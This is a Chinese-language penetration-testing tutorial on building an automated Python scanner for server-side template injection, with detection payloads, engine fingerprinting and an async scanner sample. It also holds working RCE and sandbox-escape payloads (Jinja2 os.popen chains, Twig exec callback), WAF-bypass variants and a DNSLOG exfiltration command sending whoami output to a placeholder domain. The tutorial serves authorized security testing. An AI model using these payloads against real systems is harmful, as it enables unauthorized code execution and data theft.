SSTI漏洞自动化批量挖掘：从原理到Python实现

1. 项目概述：从“黑盒”到“白盒”的SSTI自动化狩猎

在渗透测试的日常里，服务器端模板注入（Server-Side Template Injection，简称SSTI）一直是个让我又爱又恨的“宝藏”漏洞。爱它，是因为一旦成功利用，往往能直接拿到服务器权限，甚至实现远程代码执行（RCE），杀伤力巨大；恨它，则是因为它的隐蔽性太强，手工测试效率低下，尤其是在面对成百上千个Web应用进行批量漏洞挖掘时，纯靠人工去“盲打”简直就是一场噩梦。这个项目，正是为了解决这个痛点而生：如何高效、精准、自动化地批量挖掘SSTI漏洞。

简单来说，SSTI漏洞的成因，是Web应用在渲染页面时，将用户输入的数据直接拼接到了后端模板引擎的代码中，并作为模板的一部分进行了解析和执行。想象一下，你本意是让用户填写一个“用户名”，然后系统把这个用户名显示在网页标题里。正常的流程是，模板引擎把{{ username }}这个占位符替换成用户输入的字符串。但如果攻击者输入的不是一个普通的名字，而是类似{{ 7*7 }}或${7*7}这样的模板表达式，并且后端没有做任何过滤，直接把它丢给模板引擎去解析，那么引擎就会老老实实地计算出49并显示出来。这扇“计算之门”一旦被打开，后续注入操作系统命令、读取敏感文件、甚至反弹Shell，都只是顺理成章的事情了。

这个项目的核心目标，就是构建一个自动化工具链，能够对大量目标进行SSTI漏洞的快速初筛、深度验证和利用链构造。它不适合完全不懂原理的脚本小子，而是为那些已经了解Web基础、接触过手工SSTI测试，希望将重复劳动自动化，从而将精力聚焦在更复杂逻辑分析和漏洞利用上的安全研究员、渗透测试工程师以及漏洞猎人（SRC挖掘者）所设计。接下来，我将拆解整个项目的设计思路、关键技术细节以及我在实战中积累的“避坑”经验。

2. 核心思路与自动化框架设计

手工测试SSTI，我们通常会遵循“检测->识别->利用”的三步曲。自动化批量挖掘，本质上就是将这个过程程序化、并发化，并解决其中每一步的稳定性与准确性问题。

2.1 自动化流程总览

一个健壮的SSTI批量扫描器，其工作流可以抽象为以下几个核心阶段：

1. 目标输入与预处理：接收目标列表（可以是域名、URL、IP:PORT），进行存活探测、Web服务识别，并提取所有可能的参数注入点（GET/POST参数、Cookie、Headers、JSON/XML数据体等）。
2. 漏洞检测（初筛）：向每个注入点发送精心构造的、无害的探测载荷（Payload），通过分析响应内容来判断是否存在模板注入行为。
3. 模板引擎指纹识别：一旦确认存在注入，需要精确识别目标使用的是哪种模板引擎（如Jinja2, Twig, Smarty, Freemarker, Velocity等），因为不同引擎的语法和利用方式天差地别。
4. 漏洞验证与利用：根据识别出的引擎，发送更具攻击性的Payload，验证漏洞的真实危害性，并尝试执行命令、读取文件等操作。在自动化场景下，这一步需要极其谨慎，通常只进行无害验证（如执行whoami或读取/etc/passwd的前几行）。
5. 结果整理与报告：将确认的漏洞信息（URL、参数、引擎、利用Payload、证明截图等）结构化输出，便于后续人工复核和提交报告。

2.2 技术选型背后的考量

为什么用Python作为实现语言？这是基于生态和效率的综合考量。Python拥有极其丰富的网络请求库（requests,aiohttp）、解析库（BeautifulSoup,lxml）和并发处理库（asyncio,concurrent.futures），能快速构建原型。此外，大量现有的安全工具和Payload库都是用Python编写的，集成起来非常方便。

在架构上，我选择了“生产者-消费者”模型配合异步IO。aiohttp用于处理高并发的HTTP请求，避免同步请求导致的IO阻塞，极大提升扫描速度。一个简单的扫描器核心循环可能每秒只能处理几个请求，而一个设计良好的异步扫描器，每秒处理上百个请求是完全可以做到的，这对于批量扫描至关重要。

注意：高并发是一把双刃剑。过高的请求速率会触发目标WAF（Web应用防火墙）的速率限制，甚至直接被封禁IP。因此，必须在代码中实现请求延迟控制（asyncio.sleep）和随机化User-Agent等反屏蔽策略。

3. 关键模块深度解析与实现

3.1 智能注入点发现与Payload构造

这是整个扫描器的“眼睛”。我们不能只测试显而易见的?name=value这种GET参数。一个健壮的扫描器应该能处理：

• 多种HTTP方法：GET, POST, PUT, DELETE等。
• 多种参数位置：URL参数、表单数据、JSON请求体、XML请求体、Cookie、HTTP头（如X-Forwarded-For）。
• 参数污染：同一个参数名在URL和Body中同时出现时，服务器的处理逻辑。

实现上，我会先用requests或aiohttp获取目标页面的原始HTML，用BeautifulSoup解析，提取所有<form>标签的action和input字段，自动构造POST请求。同时，也会对URL进行解析，尝试对每一个路径段（path）和查询参数（query）进行注入测试。

Payload构造是艺术。初筛Payload必须满足几个条件：1) 无害；2) 能在响应中产生明显区别于普通回显的差异；3) 能跨引擎通用或易于区分。

一个经典的通用探测Payload是使用数学运算：

• {{7*7}}(Jinja2/Twig)
• ${7*7}(Freemarker/Velocity)
• {7*7}(Smarty)
• <%= 7*7 %>(ERB)

扫描器会依次发送这些Payload，并检查响应中是否包含计算结果49。但这里有个大坑：很多应用会对输入进行HTML编码或过滤。{{7*7}}可能被原样输出，或者变成{{7*7}}。因此，检测逻辑不能是简单的字符串匹配49，而需要更“模糊”的匹配，比如检查响应中是否出现了数字49且其上下文没有原样的7*7字符串。更高级的做法是，发送两个Payload：{{7*7}}和{{7*’7’}}（后者在Jinja2中会报错或产生不同输出），通过对比响应差异来判断。

3.2 模板引擎指纹识别策略

如果检测到可能的注入，下一步就是精确识别引擎。我采用的是一个分层识别策略：

1. 基于错误信息的识别：故意发送畸形的模板语法，如{{、{%、{#等不闭合的语句，不同引擎会返回特征迥异的错误信息。例如，Jinja2的错误信息中常包含“Jinja2”字样和具体的行号、模板名。
2. 基于语法特性的识别：发送针对特定引擎的语法测试。
   • Jinja2：测试{{ ''.__class__ }}，如果返回<class 'str'>，基本可以锁定。
   • Twig：测试{{ _self }}，Twig中_self是一个特殊的上下文变量。
   • Smarty：测试{$smarty.version}，它会输出Smarty版本。
   • Freemarker：测试${.version}或${.data_model.version}。
3. 基于内置对象/函数的探测：许多模板引擎提供了内置函数或对象来访问环境信息。通过尝试调用这些内置项并根据响应判断。

我将这些识别规则写成一个规则字典（rules.yaml或Python dict），每条规则包含：测试Payload、预期在响应中匹配的正则表达式、预期不在响应中匹配的正则表达式（用于排除误报）、以及对应的引擎名称和置信度分数。扫描器会按顺序或并发执行这些规则，最终取置信度最高的结果。

# 简化版的识别规则示例 identification_rules = [ { 'engine': 'Jinja2', 'payload': '{{ config.items() }}', 'match_regex': r'SECRET_KEY|DEBUG|.*Config', 'confidence': 0.9 }, { 'engine': 'Twig', 'payload': '{{ _self.env|escape }}', 'match_regex': r'Twig|Environment', 'confidence': 0.8 }, # ... 更多规则 ]

3.3 无害化验证与沙箱逃逸思考

在批量扫描中，验证漏洞的危害性必须坚持“无害化”原则。我们的目的不是攻击，而是证明漏洞存在。通常我会采用以下方法：

1. 读取无害系统信息：执行命令如whoami（查看当前用户），id，或者读取/etc/passwd的前几行（在Linux上）。绝对禁止执行rm -rf /、wget下载远程木马或反弹Shell等破坏性操作。
2. 使用DNSLOG或HTTPLOG外带数据：这是更安全、更通用的方式。对于无法直接回显命令结果的情况（盲注），可以让目标服务器向我们控制的域名发起DNS查询或HTTP请求，通过查询日志来获取命令执行结果。例如，执行ping $(whoami).your-dnslog-domain.com，然后在DNSLOG平台查看子域名记录，就能看到whoami的输出。
3. 计算延迟：通过执行sleep 5这样的命令，观察响应时间是否显著增加，来判断命令是否执行。这种方法干扰较大，且容易误判。

关于沙箱逃逸：一些现代的模板引擎（如Jinja2的某些安全配置）会运行在沙箱环境中，限制对危险函数和属性的访问。自动化扫描器在验证时，需要准备一些基本的沙箱逃逸Payload。例如，在Jinja2中，可以通过__class__、__mro__、__subclasses__()这条链来访问到os模块。但这一步通常更复杂，在批量扫描阶段，我通常只做到确认注入和识别引擎，沙箱逃逸的深度利用会留给后续手动分析。

4. 实战构建：一个简单的SSTI批量扫描器核心代码

下面，我将展示一个高度精简但核心逻辑完整的异步SSTI扫描器示例。请注意，这仅用于教育目的，在实际使用前你需要添加错误处理、日志记录、速率限制和更完善的指纹规则。

import asyncio import aiohttp from urllib.parse import urljoin, urlparse import re from typing import List, Dict, Optional class SSTIScanner: def __init__(self, concurrency: int = 10): self.concurrency = concurrency self.session: Optional[aiohttp.ClientSession] = None # 基础探测Payload self.detection_payloads = [ ("{{7*7}}", r'(?<!7\*7)49(?!\d)'), # 匹配49，且前后不能是7*7或数字 ("${7*7}", r'(?<!\$7\*7)49(?!\d)'), ("{7*7}", r'(?<!{7\*7})49(?!\d)'), ("<%= 7*7 %>", r'(?<!<%= 7\*7 %>)49(?!\d)'), ] # 引擎识别规则 self.engine_rules = [ {'name': 'Jinja2', 'payload': '{{ config.__class__ }}', 'regex': r'<class \'.*?Config\'>|Configuration'}, {'name': 'Twig', 'payload': '{{ _self }}', 'regex': r'Template.*_self'}, {'name': 'Smarty', 'payload': '{$smarty.version}', 'regex': r'\d+\.\d+\.\d+'}, {'name': 'Freemarker', 'payload': '${.version}', 'regex': r'\d+\.\d+\.\d+'}, ] async def scan_url(self, base_url: str, param: str, value: str) -> Dict: """扫描单个URL的单个参数""" results = {'url': base_url, 'param': param, 'vulnerable': False, 'engine': None} # 1. 检测阶段 for payload, pattern in self.detection_payloads: test_value = value + payload # 将Payload附加到原始参数值后 # 这里需要根据参数位置（GET/POST/等）构造请求，简化起见，假设是GET参数 async with self.session.get(base_url, params={param: test_value}) as resp: text = await resp.text() if re.search(pattern, text): results['vulnerable'] = True # 2. 识别阶段 for rule in self.engine_rules: async with self.session.get(base_url, params={param: value + rule['payload']}) as resp2: text2 = await resp2.text() if re.search(rule['regex'], text2): results['engine'] = rule['name'] break break # 检测到即跳出 return results async def worker(self, queue: asyncio.Queue, results: List): """消费者工作函数""" while True: try: task = await queue.get() url, param, value = task result = await self.scan_url(url, param, value) if result['vulnerable']: results.append(result) queue.task_done() except asyncio.CancelledError: break except Exception as e: print(f"Error processing {task}: {e}") queue.task_done() async def run(self, targets: List[str]): """主运行函数""" self.session = aiohttp.ClientSession() queue = asyncio.Queue() results = [] # 生产者：这里需要你实现从targets解析出所有URL和参数的功能 # 假设我们有一个函数 extract_params(url) 返回 [(param_name, original_value), ...] # for target in targets: # for url, params in extract_params(target): # for param, value in params: # await queue.put((url, param, value)) # 此处为示例，简化放入一个任务 await queue.put(("http://vuln-app.com/page", "name", "test")) # 启动消费者 workers = [asyncio.create_task(self.worker(queue, results)) for _ in range(self.concurrency)] await queue.join() # 等待所有任务完成 for w in workers: w.cancel() await self.session.close() return results # 使用示例 async def main(): scanner = SSTIScanner(concurrency=20) targets = ["http://example.com"] # 你的目标列表 vulns = await scanner.run(targets) for vuln in vulns: print(f"[+] Vulnerable: {vuln['url']} | Param: {vuln['param']} | Engine: {vuln['engine']}") if __name__ == '__main__': asyncio.run(main())

这个示例省略了目标解析、参数提取、POST请求处理、Cookie/Header处理、错误重试、速率限制等大量生产级代码，但它清晰地展示了核心的异步检测和识别循环。

5. 批量扫描中的性能优化与稳健性设计

当目标量巨大时，扫描器的性能和稳定性直接决定了项目的成败。

1. 连接池与超时控制：使用aiohttp.ClientSession可以自动管理连接池，复用TCP连接，避免频繁的三次握手。必须为每个请求设置合理的连接超时（conn_timeout）和读取超时（read_timeout），比如各10秒，防止某些慢速目标拖死整个扫描任务。
2. 智能去重与广度优先：对URL和参数进行规范化去重，避免对同一资源重复测试。在爬取阶段，可以采用广度优先策略，优先扫描首页和主要功能点，而不是一开始就钻进深层次的目录。
3. 优雅的错误处理与重试：网络请求充满不确定性。要对aiohttp.ClientError,TimeoutError等异常进行捕获，并实现指数退避的重试机制。例如，第一次失败后等待1秒重试，第二次失败后等待2秒，以此类推，最多重试3次。
4. 结果缓存与断点续扫：将扫描状态和结果实时保存到文件或数据库（如SQLite）。这样即使程序意外中断，重启后可以从上次中断的地方继续，而不是从头开始。
5. 资源监控与动态调速：监控本机的CPU、内存和网络带宽使用情况。如果资源吃紧，动态降低并发数（concurrency）。也可以监控目标服务器的响应状态码，如果大量返回429（请求过多）或503，应自动暂停对该目标的扫描，等待一段时间后再继续。

6. 高级技巧：绕过WAF与过滤的Payload演化

在实际的SRC漏洞挖掘或渗透测试中，目标系统往往部署了WAF或存在简单的输入过滤。我们的Payload需要能“变形”以绕过这些防御。

1. 字符串拼接与编码：

   • 原始：{{ config.items() }}
   • 绕过：{{ (\"con\"+\"fig\").items() }}或{{ request[\"application\"][\"__globals__\"][\"__builtins__\"][\"__import__\"](\"os\").popen(\"id\").read() }}（利用属性访问的不同形式）。
   • 使用Hex编码：{{ \"\x63\x6f\x6e\x66\x69\x67\" }}对应config。
   • 使用Base64编码：在模板中实现解码，如Jinja2中{{ \"Y29uZmln\".decode(\"base64\") }}（注意：高版本Python/Jinja2可能移除decode方法）。

2. 利用模板引擎特性：

   • Jinja2：可以利用|attr()过滤器进行属性访问，如{{ \"__class__\"|attr }}。或者使用[]下标访问：{{ request[\"__class__\"] }}。
   • Twig：_self是一个宝库，{{ _self.env|escape }}常用于识别，{{ _self.env.registerUndefinedFilterCallback(\"exec\") }}可用于执行命令（需特定版本）。
   • 上下文探测：有时我们不知道具体的对象名，可以尝试注入{{ ''.__class__.__mro__[1].__subclasses__() }}来列出所有可用的类，从中寻找危险的类（如os._wrap_close）。

3. 分块与混淆：将Payload拆分成多个参数发送，或者放在Cookie、Header中，WAF可能只检查了常见的参数位置。

重要心得：没有一成不变的“银弹”Payload。最好的方法是维护一个庞大的、分类清晰的Payload字典，并让扫描器具备一定的“模糊测试”能力，自动对Payload进行简单的变形（如插入随机空白、大小写转换、编码）后再发送。同时，密切关注意响应的差异，不仅仅是内容，还包括响应时间、长度和状态码的变化。

7. 从扫描到报告：成果整理与误报处理

扫描出大量“疑似”漏洞后，人工复核是必不可少的。自动化扫描器会产生误报，常见原因有：

1. 数字巧合：页面其他地方本来就包含数字“49”。
2. 静态渲染：Payload被原样输出到了HTML的注释或JavaScript代码中，并未被模板引擎解析。
3. WAF干扰：WAF拦截了请求但返回了一个伪装的成功页面。

为了降低误报，我通常在扫描器中加入以下后处理逻辑：

• 差异对比：不仅检查响应中是否包含49，还要对比发送正常参数（如test）和发送Payload后的两个响应体。计算它们的差异度（如使用difflib库）。真正的SSTI漏洞响应通常会有结构性差异，而不仅仅是多了一个数字。
• 多Payload验证：使用至少两种不同语法（如{{7*7}}和{{7*'7'}}）进行探测，只有两个都产生预期差异时才判定为潜在漏洞。
• 引擎识别一致性：如果检测Payload触发了，但后续的引擎识别Payload没有一个能匹配上规则，则降低该结果的置信度，标记为“待确认”。

对于确认的漏洞，报告模板应包含：

• 漏洞URL和参数：精确到触发点。
• HTTP请求/响应原始数据：最好用Burp Suite的格式，方便复现。
• 使用的Payload：证明漏洞存在。
• 识别的模板引擎：帮助理解漏洞环境。
• 漏洞危害证明：如执行了whoami命令的截图或DNSLOG外带数据的记录。
• 修复建议：针对该模板引擎，给出具体的修复方案，如：对用户输入进行严格的过滤和转义、避免使用eval或等效功能渲染模板、使用沙箱环境等。

8. 法律与道德边界：负责任的安全研究

这是所有自动化安全工具讨论中必须强调的底线。在进行任何批量漏洞扫描之前，务必明确：

1. 授权：只扫描你拥有明确书面授权的资产。对于公开的SRC（安全应急响应中心）项目，严格遵守其规定的测试范围和规则。
2. 无害化：验证漏洞时，使用最小权限、最无害的命令。绝对不要进行数据篡改、删除、加密或任何破坏性操作。
3. 控制影响：设置合理的扫描速率，避免对目标业务造成拒绝服务（DoS）影响。
4. 保密与披露：对发现漏洞的细节严格保密，按照合规渠道（如厂商的SRC平台）进行披露，不公开传播未修复的漏洞细节。

自动化工具放大了我们的能力，也放大了我们肩上的责任。用它来提升安全水位，而非制造混乱。

构建一个成熟的SSTI批量挖掘工具，远不止写一个发送HTTP请求的循环那么简单。它涉及网络编程、模板引擎原理、Web安全、并发优化、数据处理等多个领域的知识。这个过程本身，就是一次对Web应用安全和自动化测试技术的深度修炼。我分享的这些思路和代码片段，只是一个起点，真正的挑战和乐趣，在于你在面对复杂多变的真实网络环境时，如何让你的“狩猎者”变得更聪明、更稳健、更高效。记住，工具是死的，思路是活的，保持学习，保持敬畏，才能在安全这条路上走得更远。